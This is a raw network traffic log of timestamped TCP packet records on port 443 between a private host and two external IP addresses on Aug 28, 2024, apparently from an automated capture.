Aug 28, 2024 22:21:00.919560909 CEST	443	49748	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.919619083 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.919647932 CEST	49748	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.919833899 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.919881105 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:00.920059919 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.920327902 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:00.920345068 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:01.207346916 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:01.207396984 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:01.207513094 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:01.207881927 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:01.207895994 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:01.686129093 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:01.686480045 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:01.686508894 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:01.687527895 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:01.687599897 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:01.687891960 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:01.687948942 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:01.688024998 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:01.730094910 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:01.730113983 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:01.778088093 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:01.970705032 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:01.970788956 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:01.973587990 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:01.973603010 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:01.973807096 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:01.975025892 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:02.020509958 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.293265104 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.293287039 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.293301105 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.293389082 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:02.293423891 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.293471098 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:02.294322968 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.294363022 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.294375896 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:02.294384003 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.294409037 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:02.294409037 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.294449091 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:02.305361032 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:02.305380106 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.305408955 CEST	49755	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:21:02.305413961 CEST	443	49755	40.127.169.103	192.168.2.16
Aug 28, 2024 22:21:02.573609114 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:02.573637962 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:02.573671103 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:02.573704958 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:02.573736906 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:02.573788881 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:02.681020975 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:02.681044102 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:02.681081057 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:02.681118011 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:02.681126118 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:02.681171894 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:02.681719065 CEST	49751	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:02.681742907 CEST	443	49751	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.040517092 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.040539026 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.040546894 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.040637970 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.040695906 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.040716887 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.040730000 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.040730000 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.040746927 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.040760040 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.040760040 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.087085962 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.136352062 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.136415958 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.136431932 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.136456966 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.136502981 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.136768103 CEST	49752	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.136786938 CEST	443	49752	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.155936003 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.156002045 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.156071901 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.156322956 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.156337023 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.159396887 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.159425974 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.159604073 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.159825087 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.159836054 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.167030096 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.167352915 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.167367935 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.167532921 CEST	443	49754	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.167587042 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.167598963 CEST	49754	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.462352991 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.462377071 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.462383986 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.462415934 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.462430000 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.462444067 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.462446928 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.462477922 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.462498903 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.503093958 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.535600901 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.535610914 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.535633087 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.535640001 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.535701036 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.535717964 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.535746098 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.535765886 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.639880896 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.639899969 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.639971972 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.639997959 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.640055895 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.641665936 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.641680956 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.641743898 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.641751051 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.641807079 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.643085957 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.643100023 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.643157959 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.643163919 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.643202066 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.644526005 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.644540071 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.644593000 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.644599915 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.644659042 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.645623922 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.645689964 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.760571003 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.760598898 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.760663033 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.760709047 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.760725975 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.761054993 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.761136055 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.761197090 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.761204004 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.761220932 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.761266947 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.761765003 CEST	49753	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.761784077 CEST	443	49753	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.764518023 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.764564991 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.764626026 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.764847994 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.764862061 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.787791014 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.787834883 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.787903070 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.788389921 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.788403034 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.810379982 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.810411930 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.810503960 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.810728073 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.810740948 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.827966928 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.828238964 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.828253984 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.829317093 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.829377890 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.831126928 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.831207991 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.831300974 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.831310034 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.848357916 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.848655939 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.848675013 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.849761009 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.849817038 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.850100994 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.850158930 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.850219965 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.850224972 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.857531071 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.857553959 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.857696056 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.857882977 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.857893944 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:03.884098053 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:03.900079012 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.434968948 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.435199022 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.435223103 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.436194897 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.436269999 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.436600924 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.436659098 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.436739922 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.436747074 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.473191977 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.473437071 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.473454952 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.473797083 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.474071026 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.474087000 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.474147081 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.474288940 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.474642038 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.474658966 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.475655079 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.475724936 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.476186991 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.476243019 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.476613045 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.476619005 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.491081953 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.520500898 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.523073912 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.562663078 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.564512014 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.564526081 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.565521002 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.565610886 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.566565990 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.566637039 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.566740036 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.612497091 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.620054007 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:04.620064974 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:04.667248011 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.256299973 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.256323099 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.256330967 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.256366014 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.256402969 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.256402016 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.256431103 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.256454945 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.256468058 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.256474972 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.256505013 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.257674932 CEST	49757	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.257690907 CEST	443	49757	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.865343094 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.865830898 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.865864038 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.865890026 CEST	443	49759	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.865937948 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.866115093 CEST	49759	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.884896994 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.885853052 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.885911942 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.885921955 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.885936022 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.886006117 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.886663914 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.886663914 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:05.886674881 CEST	443	49756	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:05.886806965 CEST	49756	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.558288097 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.558320045 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.558331013 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.558363914 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.558397055 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.558420897 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.558438063 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.558482885 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.558576107 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.566088915 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.566133022 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.566227913 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.566227913 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.566234112 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.566636086 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.660110950 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.660135984 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.660208941 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.660231113 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.660331964 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.666632891 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.666649103 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.666795969 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.666817904 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.666996002 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.667973042 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.667988062 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.668175936 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.668180943 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.668284893 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.669576883 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.669590950 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.669918060 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.669924974 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.670238972 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.746577024 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.746726036 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.764394045 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.764410019 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.764447927 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.764477015 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.764502048 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.764535904 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.764538050 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.764599085 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.766308069 CEST	49760	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.766320944 CEST	443	49760	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.772207975 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.772237062 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.772326946 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.773411989 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.773425102 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.804976940 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.804996967 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.805094004 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.805512905 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.805521965 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.805607080 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.805824995 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.805839062 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.806404114 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.806415081 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.819230080 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.819263935 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.819272995 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.819289923 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.819298983 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.819307089 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.819325924 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.819360018 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.819382906 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.821877956 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.821891069 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.821953058 CEST	49765	443	192.168.2.16	185.225.69.39
